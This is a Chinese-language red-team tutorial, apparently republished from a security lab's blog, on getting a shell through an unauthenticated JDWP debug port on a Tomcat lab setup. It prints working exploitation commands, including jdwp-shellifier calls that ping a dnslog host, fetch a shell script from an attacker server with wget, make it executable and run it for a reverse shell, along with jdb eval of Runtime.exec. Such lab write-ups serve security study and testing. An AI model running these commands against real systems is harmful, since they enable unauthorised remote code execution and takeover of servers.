『红蓝对抗』JDWP未授权getshell

华盟原创文章投稿奖励计划

日期:2024年09月13日作者:Yukong介绍:攻防演练常常会教育我们不要忽略任何一个细节……


0x00 前言

为期两周的攻防演练面对成百上千的ip,以及成千上万的开放端口眼都要花了。等等!这是什么东西,让俺老孙瞅上一瞅。

自动草稿

0x01 漏洞简介

1.1 什么是JDWP

JDWP是Java调试系统的组件之一,称为Java平台调试架构(JPDA)。Debuggee由一个运行我们的目标应用程序的多线程JVM组成。它允许调试器通过网络连接到正在运行的Java虚拟机(JVM)上,并执行诊断和调试操作。JDWP协议使用基于TCP的网络通信,并采用二进制格式进行数据传输。

1.2 漏洞原理

JDWP未授权漏洞的原理通常是由于JVM在默认配置下启用了JDWP,并将JDWP端口暴露在网络上,攻击者可以利用这个开放的端口进行攻击攻击者可以通过JDWP协议向JVM发送指令,从而控制JVM并执行恶意代码。攻击者还可以利用JDWP协议中的命令获取JVM中的敏感信息,例如类名、方法名、变量名等。

0x02 漏洞环境搭建

(1)下载Tomcat环境

官网下载Tomcat8.5.43:https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.43/bin/,下载解压缩版。

自动草稿

(2)解压Tomcat8.5.43

unzip apache-tomcat-8.5.43.zip

自动草稿

(3)修改配置文件,开启debug,并且向互联网开放端口

cd到apache-tomcat-8.5.43/bin目录下,修改配置文件catalina.sh,在第一行加入JAVA_OPTS=”$JAVA_OPTS -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=0.0.0.0:8000″

自动草稿

(4)开启漏洞环境

./startup.sh

自动草稿

但出现这些信息,证明环境已启动,并且访问8080端口可以看到Tomcat页面。

0x03 漏洞复现

3.1 端口探测

(1)使用nmap探测端口,会识别到JDWP服务

nmap -sT -sV IP

自动草稿

(2)使用端口扫描工具可以扫描到JWDP服务

自动草稿

3.2 漏洞发现

(1)当我们发现存在JDWP服务时,可以使用Telnet命令探测,当输入JDWP-Handshake时,服务端返回一样的内容,证明漏洞存在。

自动草稿

(2)没有Telnet也可以使用NC

自动草稿

3.3 漏洞利用

1、使用GitHub上已有的工具:https://github.com/IOActive/jdwp-shellifier

ping dnslog

python2 jdwp-shellifier.py -t [IP] -p [Port] --break-on "java.lang.String.indexof" --cmd "ping bmzjs8gi.eyes.sh"

自动草稿

(1)远程下载文件,反弹shell

vps准备反弹shell文件,保存为shell.txt

自动草稿

(2)使用python开启8999端口

python3 -m http.server 9998

(3)远程下载文件,并保存为可执行文件

python2 jdwp-shellifier.py -t [IP] -p [Port] --break-on "java.lang.String.indexof" --cmd "wget http://IP:9998/shell.txt -O /tmp/shell.sh"

自动草稿自动草稿

(4)执行文件,反弹shell

# 添加执行权限python2 jdwp-shellifier.py -t [IP] -p [Port] --break-on "java.lang.String.indexof" --cmd "chmod a+x /tmp/shell.sh"# 执行命令python2 jdwp-shellifier.py -t [IP] -p [Port] --break-on "java.lang.String.indexof" --cmd "./tmp/shell.sh"

自动草稿

自动草稿

2、直接执行base64编码后的反弹shell命令

自动草稿

3、使用jdb执行命令

jdb使用手册:https://pxzxj.github.io/articles/jdb.html

(1)连接远程jwdp端口

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.182.130,port=8000

(2)threads查看看所有线程

自动草稿

(3)thread [id]选择休眠的线程

自动草稿

(4)stepi进入该线程,并且通过eval执行Java表达式从而达成命令执行

eval java.lang.Runtime.getRuntime().exec("ping bmzjs8gi.eyes.sh")

自动草稿自动草稿

0x03 总结

通常我们会结合目标机器的网络环境以及安全设备选择正向的连接或者免杀shell的传入,这时候就可以选择更加灵活Metasploit来帮助我们达到目的。执行命令的方式当然不止这几种,这就考验我们平时知识的积累了。

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

文章来源:宸极实验室

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文


END

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容